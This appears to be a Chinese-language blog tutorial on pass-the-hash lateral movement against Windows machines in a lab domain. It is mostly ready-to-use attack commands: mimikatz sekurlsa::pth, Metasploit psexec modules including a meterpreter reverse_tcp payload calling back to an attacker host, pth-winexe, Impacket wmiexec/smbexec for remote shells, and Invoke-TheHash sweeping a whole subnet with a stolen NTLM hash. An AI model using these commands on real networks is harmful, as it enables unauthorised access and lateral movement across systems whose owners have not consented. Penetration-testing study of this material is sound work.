凭据传递攻击(Path The Hash)

N 人看过

一、PTH简介

       哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值,但是解不开明文。这时我们可以利用NTLM认证的一种缺陷,利用用户的密码哈希值来进行NTLM认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录内网中的其他机器。

二、ColbaltStrike实现PTH

  1. 获取windows server2003 的hashdump

    在这里插入图片描述

  2. PTH

> mimikatz sekurlsa::pth /user:Administrator  /domain:shqax  /ntlm:7c813560a8c4dd6423eaecb4f820ae1d  /run:"cmd.exe -w hidden"

![在这里插入图片描述](https://img-blog.csdnimg.cn/20210129143352522.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM4OTYzMjQ2,size_16,color_FFFFFF,t_70)
  1. 窃取令牌(PID),执行命令

    这里有个坑,win10使用的是SMB2,Windows server 2003 是SMB1,所以会查看目录失败。
    在这里插入图片描述
    在这里插入图片描述

  1. PTH rdp

    mimikatz sekurlsa::pth /user:administrator /domain:XXX /ntlm:7c813560a8c4dd6423eaecb4f820ae1d /run:”mstsc.exe /restrictedadmin”

    这个没成功,因为RestrictedAdmin模式 配置不生效,还在找原因。在这里插入图片描述

三、使用MSF模块PTH

方法一、psexec_command

  1. 使用模块auxiliary/admin/smb/psexec_command

    在这里插入图片描述

  2. 参数设置

msf > use auxiliary/admin/smb/psexec_command
msf > set rhosts 192.168.2.200
msf > set smbdomain SHQAX
msf > set smbuser administrator
msf > set smbpass 00000000000000000000000000000000:7c813560a8c4dd6423eaecb4f820ae1d
msf > set command whoami
msf > set verbose true
msf > run
  1. 执行结果
    在这里插入图片描述
    反向测试了下,windows server 2008 pth windows server2003, 其实是执行成功了,但是没回显,应该是文件读不到了,我猜是权限的问题,懂得大佬可以讲讲。
    在这里插入图片描述
    在这里插入图片描述

    方法二、psexec_psh

  2. 使用模块exploit/windows/smb/psexec_psh

    msf > use exploit/windows/smb/psexec_psh
    msf > set rhost 192.168.2.200
    msf > set smbdomain SHQAX
    msf > set smbuser administrator
    msf > set smbpass 00000000000000000000000000000000:7c813560a8c4dd6423eaecb4f820ae1d
    msf > set payload windows/x64/meterpreter/reverse_tcp_uuid
    msf > set lhost 192.168.2.6
    msf > set lport 4444
    msf > run
  3. 执行命令getuid
    这里试了好几次才成功,最后一次是吧domain改为大写,会挤掉原来的账户,还是要慎用。
    在这里插入图片描述

四、使用kali工具进行PTH

  1. 工具位置:
    在这里插入图片描述
    2、简单使用

    pth-winexe -U SHQAX/administrator%00000000000000000000000000000000:7c813560a8c4dd6423eaecb4f820ae1d --system --ostype=1 //192.168.2.200 cmd

    在这里插入图片描述

五、使用Impacket进行PTH

  1. exe repo:https://github.com/maaaaz/impacket-examples-windows

    python repo:https://github.com/SecureAuthCorp/impacket

  2. 简单使用

    wmiexec -hashes 00000000000000000000000000000000:7c813560a8c4dd6423eaecb4f820ae1d SHQAX/administrator@192.168.2.200 "whoami"

    在这里插入图片描述
    利用smbexec反弹shell:

    smbexec -hashes 00000000000000000000000000000000:7c813560a8c4dd6423eaecb4f820ae1d SHQAX/administrator@192.168.2.200

    在这里插入图片描述

六、使用power shell进行PTH

  1. repo:https://github.com/Kevin-Robertson/Invoke-TheHash
  2. 简单使用
    本地加载powershell脚本
    powershell -exec bypass
    Import-Module .\Invoke-WMIExec.ps1
    Import-Module .\Invoke-TheHash.ps1
    利用已有hash,批量指定网段机器(域环境下)
    Invoke-TheHash -Type WMIExec -TARGET 192.168.2.0/24 -Domain SHQAX -Username administrator -Hash 7c813560a8c4dd6423eaecb4f820ae1d在这里插入图片描述
    在这里插入图片描述

七、参考链接

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。